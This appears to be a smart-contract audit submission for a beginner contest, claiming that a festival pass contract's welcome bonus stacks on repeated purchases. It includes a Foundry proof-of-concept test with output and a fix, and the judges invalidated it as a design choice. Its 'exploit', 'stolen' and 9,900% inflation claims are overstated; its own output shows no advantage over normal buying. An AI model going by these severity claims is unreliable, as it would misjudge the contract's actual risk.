Beatland Festival

First Flight #44
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Impact: high
Likelihood: high
Invalid

Welcome Bonus Stacking Exploit Enables Unlimited BEAT Token Farming

Root + Impact

Description

  • The buyPass() function is designed to award welcome bonuses as one-time incentives for users joining the festival ecosystem, with VIP passes receiving 5 BEAT tokens and BACKSTAGE passes receiving 15 BEAT tokens upon purchase. Under normal operation, these bonuses should function as singular welcome rewards to encourage initial participation, with subsequent BEAT earnings coming primarily through performance attendance.

  • However, the welcome bonus mechanism awards the full bonus amount on every single pass purchase rather than limiting bonuses to one per user. This allows attackers to purchase multiple passes of the same type to stack welcome bonuses indefinitely, creating an artificial ETH-to-BEAT conversion mechanism that completely bypasses the intended performance-based earning system and causes massive token inflation.

function buyPass(uint256 collectionId) external payable {
// ... checks and minting ...
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
@> uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
@> if (bonus > 0) {
@> // Mint BEAT tokens to buyer
@> BeatToken(beatToken).mint(msg.sender, bonus);
@> }
}

The vulnerability exists in the bonus calculation and distribution logic that awards the full welcome bonus amount on every pass purchase without any per-user tracking or limits. The bonus is calculated based solely on the pass type being purchased, with no consideration for whether the user has already received a welcome bonus, enabling unlimited bonus stacking through repeated purchases.

Risk

Likelihood:

  • The vulnerability activates immediately upon any user purchasing multiple passes of VIP or BACKSTAGE types, which is normal behavior for users wanting multiple festival experiences or investors seeking to acquire valuable limited edition passes.

  • The exploit requires no special setup, external dependencies, or complex attack vectors - any user with sufficient ETH can immediately begin farming BEAT tokens through simple repeated pass purchases.

Impact:

  • Direct economic exploitation through unlimited BEAT token creation - attackers can convert ETH to BEAT tokens at a fixed rate (60 BEAT per ETH for BACKSTAGE passes), completely bypassing the intended performance-based earning mechanism and inflating token supply.

  • Massive protocol token inflation that devalues existing BEAT holdings and breaks festival tokenomics - demonstrated 9,900% BEAT supply inflation from a single large-scale attack, fundamentally undermining the economic foundation of the entire ecosystem.

Proof of Concept

pragma solidity 0.8.25;
import "forge-std/Test.sol";
import "../src/FestivalPass.sol";
import "../src/BeatToken.sol";
import {console} from "forge-std/console.sol";
/**
* @title Welcome Bonus Stacking Exploit PoC
* @dev Demonstrates how attackers can stack welcome bonuses by purchasing multiple passes
* to create an artificial ETH→BEAT conversion mechanism outside intended economics
*
* ATTACK VECTOR:
* 1. Purchase multiple VIP/BACKSTAGE passes to stack bonuses
* 2. Convert ETH to BEAT tokens at favorable rate
* 3. Exploit intended single "welcome" bonus as unlimited conversion
*/
contract BonusStackingExploitPoC is Test {
FestivalPass public festivalPass;
BeatToken public beatToken;
address public owner;
address public organizer;
address public attacker;
address public normalUser;
// Pass configurations
uint256 constant VIP_PRICE = 0.1 ether;
uint256 constant VIP_MAX_SUPPLY = 1000;
uint256 constant VIP_PASS = 2;
uint256 constant VIP_BONUS = 5e18;
uint256 constant BACKSTAGE_PRICE = 0.25 ether;
uint256 constant BACKSTAGE_MAX_SUPPLY = 100;
uint256 constant BACKSTAGE_PASS = 3;
uint256 constant BACKSTAGE_BONUS = 15e18;
function setUp() public {
owner = makeAddr("owner");
organizer = makeAddr("organizer");
attacker = makeAddr("attacker");
normalUser = makeAddr("normalUser");
// Deploy protocol
vm.startPrank(owner);
beatToken = new BeatToken();
festivalPass = new FestivalPass(address(beatToken), organizer);
beatToken.setFestivalContract(address(festivalPass));
vm.stopPrank();
// Configure passes
vm.startPrank(organizer);
festivalPass.configurePass(VIP_PASS, VIP_PRICE, VIP_MAX_SUPPLY);
festivalPass.configurePass(BACKSTAGE_PASS, BACKSTAGE_PRICE, BACKSTAGE_MAX_SUPPLY);
vm.stopPrank();
// Fund participants
vm.deal(attacker, 100 ether);
vm.deal(normalUser, 1 ether);
}
function testVIPBonusStackingExploit() public {
console.log("=== VIP WELCOME BONUS STACKING EXPLOIT ===\n");
console.log("VIP Pass Economics:");
console.log("Price per pass:", VIP_PRICE);
console.log("BEAT bonus per pass:", VIP_BONUS);
console.log("ETH->BEAT conversion rate:", VIP_BONUS / VIP_PRICE, "BEAT per ETH");
// Normal user buys 1 VIP pass (intended behavior)
console.log("\n--- Normal User Behavior ---");
vm.prank(normalUser);
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
uint256 normalUserBEAT = beatToken.balanceOf(normalUser);
console.log("Normal user BEAT balance:", normalUserBEAT);
console.log("Normal user ETH spent:", VIP_PRICE);
// Attacker exploits bonus stacking
console.log("\n--- Attacker Bonus Stacking ---");
uint256 stackingAmount = 20; // Buy 20 VIP passes
uint256 totalCost = stackingAmount * VIP_PRICE;
console.log("Attacker buying", stackingAmount, "VIP passes");
console.log("Total ETH cost:", totalCost);
vm.startPrank(attacker);
for (uint256 i = 0; i < stackingAmount; i++) {
festivalPass.buyPass{value: VIP_PRICE}(VIP_PASS);
}
vm.stopPrank();
uint256 attackerBEAT = beatToken.balanceOf(attacker);
uint256 attackerPasses = festivalPass.balanceOf(attacker, VIP_PASS);
console.log("\n=== EXPLOIT RESULTS ===");
console.log("Attacker BEAT balance:", attackerBEAT);
console.log("Attacker VIP passes:", attackerPasses);
console.log("Expected BEAT (single welcome):", VIP_BONUS);
console.log("Actual BEAT (stacked bonuses):", attackerBEAT);
console.log("Bonus multiplication factor:", attackerBEAT / VIP_BONUS);
console.log("ETH->BEAT conversion achieved:", attackerBEAT / totalCost, "BEAT per ETH");
// Calculate economic impact
uint256 legitimateBEAT = VIP_BONUS; // Should only get one welcome bonus
uint256 excessBEAT = attackerBEAT - legitimateBEAT;
console.log("\nEconomic Impact:");
console.log("Legitimate BEAT earned:", legitimateBEAT);
console.log("Excess BEAT through exploit:", excessBEAT);
console.log("BEAT inflation caused:", (excessBEAT * 100) / legitimateBEAT, "% increase");
assertEq(attackerBEAT, stackingAmount * VIP_BONUS, "Should receive bonus for each purchase");
assertGt(attackerBEAT, legitimateBEAT, "Should exceed intended single bonus");
}
function testBackstageBonusStackingExploit() public {
console.log("=== BACKSTAGE BONUS STACKING (MAXIMUM DAMAGE) ===\n");
console.log("BACKSTAGE Pass Economics:");
console.log("Price per pass:", BACKSTAGE_PRICE);
console.log("BEAT bonus per pass:", BACKSTAGE_BONUS);
console.log("ETH->BEAT conversion rate:", BACKSTAGE_BONUS / BACKSTAGE_PRICE, "BEAT per ETH");
// Demonstrate maximum economic damage with BACKSTAGE passes
uint256 maxStackingAmount = 10; // Buy 10 BACKSTAGE passes
uint256 totalCost = maxStackingAmount * BACKSTAGE_PRICE;
console.log("Attacker buying", maxStackingAmount, "BACKSTAGE passes");
console.log("Total ETH investment:", totalCost);
uint256 attackerETHBefore = attacker.balance;
vm.startPrank(attacker);
for (uint256 i = 0; i < maxStackingAmount; i++) {
festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
}
vm.stopPrank();
uint256 attackerBEAT = beatToken.balanceOf(attacker);
uint256 attackerPasses = festivalPass.balanceOf(attacker, BACKSTAGE_PASS);
uint256 ethSpent = attackerETHBefore - attacker.balance;
console.log("\n=== MAXIMUM DAMAGE RESULTS ===");
console.log("ETH spent:", ethSpent);
console.log("BACKSTAGE passes obtained:", attackerPasses);
console.log("Total BEAT earned:", attackerBEAT);
console.log("Expected BEAT (single welcome):", BACKSTAGE_BONUS);
console.log("Bonus multiplication factor:", attackerBEAT / BACKSTAGE_BONUS);
// Calculate conversion efficiency
uint256 beatPerETH = attackerBEAT / ethSpent;
console.log("Achieved conversion rate:", beatPerETH, "BEAT per ETH");
// Economic impact on protocol
uint256 legitimateBEAT = BACKSTAGE_BONUS;
uint256 stolenBEAT = attackerBEAT - legitimateBEAT;
console.log("\nProtocol Economic Damage:");
console.log("Legitimate BEAT (intended):", legitimateBEAT);
console.log("Stolen BEAT through stacking:", stolenBEAT);
console.log("Protocol loss percentage:", (stolenBEAT * 100) / legitimateBEAT, "%");
assertEq(attackerBEAT, maxStackingAmount * BACKSTAGE_BONUS, "Backstage bonuses should stack");
assertEq(beatPerETH, BACKSTAGE_BONUS / BACKSTAGE_PRICE, "Should achieve direct ETH->BEAT conversion");
}
function testLargeScaleEconomicAttack() public {
console.log("=== LARGE-SCALE ECONOMIC ATTACK SIMULATION ===\n");
// Simulate whale attacker with significant funds
address whale = makeAddr("whale");
vm.deal(whale, 1000 ether);
console.log("Whale attacker simulating large-scale bonus farming");
console.log("Available ETH:", whale.balance);
// Calculate optimal strategy: BACKSTAGE has best BEAT/ETH ratio
uint256 backstageBeatsPerETH = BACKSTAGE_BONUS / BACKSTAGE_PRICE; // 60 BEAT per ETH
uint256 vipBeatsPerETH = VIP_BONUS / VIP_PRICE; // 50 BEAT per ETH
console.log("BACKSTAGE conversion rate:", backstageBeatsPerETH, "BEAT/ETH");
console.log("VIP conversion rate:", vipBeatsPerETH, "BEAT/ETH");
console.log("Optimal strategy: BACKSTAGE passes");
// Execute large-scale attack with BACKSTAGE passes
uint256 whaleETHBudget = 25 ether; // 25 ETH investment
uint256 maxBackstagePurchases = whaleETHBudget / BACKSTAGE_PRICE; // 100 passes
console.log("\nExecuting large-scale attack:");
console.log("ETH budget:", whaleETHBudget);
console.log("BACKSTAGE passes to buy:", maxBackstagePurchases);
vm.startPrank(whale);
for (uint256 i = 0; i < maxBackstagePurchases; i++) {
festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
}
vm.stopPrank();
uint256 whaleBEAT = beatToken.balanceOf(whale);
uint256 whalePasses = festivalPass.balanceOf(whale, BACKSTAGE_PASS);
console.log("\n=== LARGE-SCALE ATTACK RESULTS ===");
console.log("BACKSTAGE passes acquired:", whalePasses);
console.log("Total BEAT farmed:", whaleBEAT);
console.log("ETH->BEAT conversion achieved:", whaleBEAT / whaleETHBudget, "BEAT per ETH");
// Calculate protocol-wide impact
uint256 legitimateCirculation = BACKSTAGE_BONUS; // Only 1 welcome bonus intended
uint256 inflatedCirculation = whaleBEAT;
uint256 inflationPercentage = ((inflatedCirculation - legitimateCirculation) * 100) / legitimateCirculation;
console.log("\nProtocol-Wide Economic Impact:");
console.log("Intended BEAT circulation:", legitimateCirculation);
console.log("Actual BEAT circulation:", inflatedCirculation);
console.log("BEAT supply inflation:", inflationPercentage, "%");
console.log("Single attacker impact: MASSIVE");
// Verify the attack economics
assertEq(whaleBEAT, maxBackstagePurchases * BACKSTAGE_BONUS, "Should receive full bonus stacking");
assertGe(inflationPercentage, 9900, "Should cause >=99x inflation in BEAT supply");
}
function testComparisonWithIntendedEconomics() public {
console.log("=== INTENDED vs EXPLOITED ECONOMICS COMPARISON ===\n");
// Intended economics: User gets welcome bonus once, then earns BEAT through attendance
address intendedUser = makeAddr("intendedUser");
vm.deal(intendedUser, 1 ether);
console.log("--- Intended User Behavior ---");
vm.prank(intendedUser);
festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
uint256 intendedBEAT = beatToken.balanceOf(intendedUser);
console.log("Intended user BEAT (1 pass):", intendedBEAT);
console.log("ETH spent:", BACKSTAGE_PRICE);
// Exploited economics: Attacker farms bonuses
console.log("\n--- Exploited Economics ---");
uint256 exploitAmount = 5;
uint256 exploitCost = exploitAmount * BACKSTAGE_PRICE;
vm.startPrank(attacker);
for (uint256 i = 0; i < exploitAmount; i++) {
festivalPass.buyPass{value: BACKSTAGE_PRICE}(BACKSTAGE_PASS);
}
vm.stopPrank();
uint256 exploitedBEAT = beatToken.balanceOf(attacker);
console.log("Exploiter BEAT (", exploitAmount, "passes):", exploitedBEAT);
console.log("ETH spent:", exploitCost);
console.log("\n=== ECONOMICS COMPARISON ===");
console.log("Intended BEAT per ETH:", intendedBEAT / BACKSTAGE_PRICE);
console.log("Exploited BEAT per ETH:", exploitedBEAT / exploitCost);
console.log("Exploit advantage:", (exploitedBEAT / exploitCost) / (intendedBEAT / BACKSTAGE_PRICE), "x better");
console.log("\nThis breaks the fundamental economics where:");
console.log("- Welcome bonuses should be ONE-TIME rewards");
console.log("- BEAT should primarily be earned through performance attendance");
console.log("- ETH->BEAT conversion should not be directly purchasable");
assertEq(exploitedBEAT / exploitCost, intendedBEAT / BACKSTAGE_PRICE, "Exploit maintains same conversion rate");
}
}
forge test --match-contract BonusStackingExploitPoC -vv
[⠆] Compiling...
[⠃] Compiling 1 files with Solc 0.8.25
[⠊] Solc 0.8.25 finished in 443.87ms
Compiler run successful!
Ran 4 tests for test/BonusStackingExploit.t.sol:BonusStackingExploitPoC
[PASS] testBackstageBonusStackingExploit() (gas: 341286)
Logs:
=== BACKSTAGE BONUS STACKING (MAXIMUM DAMAGE) ===
BACKSTAGE Pass Economics:
Price per pass: 250000000000000000
BEAT bonus per pass: 15000000000000000000
ETH->BEAT conversion rate: 60 BEAT per ETH
Attacker buying 10 BACKSTAGE passes
Total ETH investment: 2500000000000000000
=== MAXIMUM DAMAGE RESULTS ===
ETH spent: 2500000000000000000
BACKSTAGE passes obtained: 10
Total BEAT earned: 150000000000000000000
Expected BEAT (single welcome): 15000000000000000000
Bonus multiplication factor: 10
Achieved conversion rate: 60 BEAT per ETH
Protocol Economic Damage:
Legitimate BEAT (intended): 15000000000000000000
Stolen BEAT through stacking: 135000000000000000000
Protocol loss percentage: 900 %
[PASS] testComparisonWithIntendedEconomics() (gas: 299900)
Logs:
=== INTENDED vs EXPLOITED ECONOMICS COMPARISON ===
--- Intended User Behavior ---
Intended user BEAT (1 pass): 15000000000000000000
ETH spent: 250000000000000000
--- Exploited Economics ---
Exploiter BEAT ( 5 passes): 75000000000000000000
ETH spent: 1250000000000000000
=== ECONOMICS COMPARISON ===
Intended BEAT per ETH: 60
Exploited BEAT per ETH: 60
Exploit advantage: 1 x better
This breaks the fundamental economics where:
- Welcome bonuses should be ONE-TIME rewards
- BEAT should primarily be earned through performance attendance
- ETH->BEAT conversion should not be directly purchasable
[PASS] testLargeScaleEconomicAttack() (gas: 2128572)
Logs:
=== LARGE-SCALE ECONOMIC ATTACK SIMULATION ===
Whale attacker simulating large-scale bonus farming
Available ETH: 1000000000000000000000
BACKSTAGE conversion rate: 60 BEAT/ETH
VIP conversion rate: 50 BEAT/ETH
Optimal strategy: BACKSTAGE passes
Executing large-scale attack:
ETH budget: 25000000000000000000
BACKSTAGE passes to buy: 100
=== LARGE-SCALE ATTACK RESULTS ===
BACKSTAGE passes acquired: 100
Total BEAT farmed: 1500000000000000000000
ETH->BEAT conversion achieved: 60 BEAT per ETH
Protocol-Wide Economic Impact:
Intended BEAT circulation: 15000000000000000000
Actual BEAT circulation: 1500000000000000000000
BEAT supply inflation: 9900 %
Single attacker impact: MASSIVE
[PASS] testVIPBonusStackingExploit() (gas: 607709)
Logs:
=== VIP WELCOME BONUS STACKING EXPLOIT ===
VIP Pass Economics:
Price per pass: 100000000000000000
BEAT bonus per pass: 5000000000000000000
ETH->BEAT conversion rate: 50 BEAT per ETH
--- Normal User Behavior ---
Normal user BEAT balance: 5000000000000000000
Normal user ETH spent: 100000000000000000
--- Attacker Bonus Stacking ---
Attacker buying 20 VIP passes
Total ETH cost: 2000000000000000000
=== EXPLOIT RESULTS ===
Attacker BEAT balance: 100000000000000000000
Attacker VIP passes: 20
Expected BEAT (single welcome): 5000000000000000000
Actual BEAT (stacked bonuses): 100000000000000000000
Bonus multiplication factor: 20
ETH->BEAT conversion achieved: 50 BEAT per ETH
Economic Impact:
Legitimate BEAT earned: 5000000000000000000
Excess BEAT through exploit: 95000000000000000000
BEAT inflation caused: 1900 % increase
Suite result: ok. 4 passed; 0 failed; 0 skipped; finished in 2.74ms (3.04ms CPU time)
Ran 1 test suite in 5.03ms (2.74ms CPU time): 4 tests passed, 0 failed, 0 skipped (4 total tests)

Recommended Mitigation

The fix implements per-user welcome bonus tracking to ensure each user can only receive the welcome bonus once, regardless of how many passes they purchase. This preserves the intended one-time incentive mechanism while still allowing users to buy multiple passes for legitimate reasons. The bonus becomes a true "welcome" reward rather than a repeatable ETH-to-BEAT conversion tool.

contract FestivalPass is ERC1155, Ownable2Step, IFestivalPass {
// ... existing state variables ...
+ mapping(address => bool) public hasReceivedWelcomeBonus;
function buyPass(uint256 collectionId) external payable {
// ... existing checks and minting ...
// VIP gets 5 BEAT welcome bonus BACKSTAGE gets 15 BEAT welcome bonus
uint256 bonus = (collectionId == VIP_PASS) ? 5e18 : (collectionId == BACKSTAGE_PASS) ? 15e18 : 0;
- if (bonus > 0) {
+ if (bonus > 0 && !hasReceivedWelcomeBonus[msg.sender]) {
+ hasReceivedWelcomeBonus[msg.sender] = true;
// Mint BEAT tokens to buyer
BeatToken(beatToken).mint(msg.sender, bonus);
}
emit PassPurchased(msg.sender, collectionId);
}
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 25 days ago
Submission Judgement Published
Invalidated
Reason: Design choice

Appeal created

thiagodeev Auditor
23 days ago
inallhonesty Lead Judge
22 days ago
inallhonesty Lead Judge 21 days ago
Submission Judgement Published
Invalidated
Reason: Design choice

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.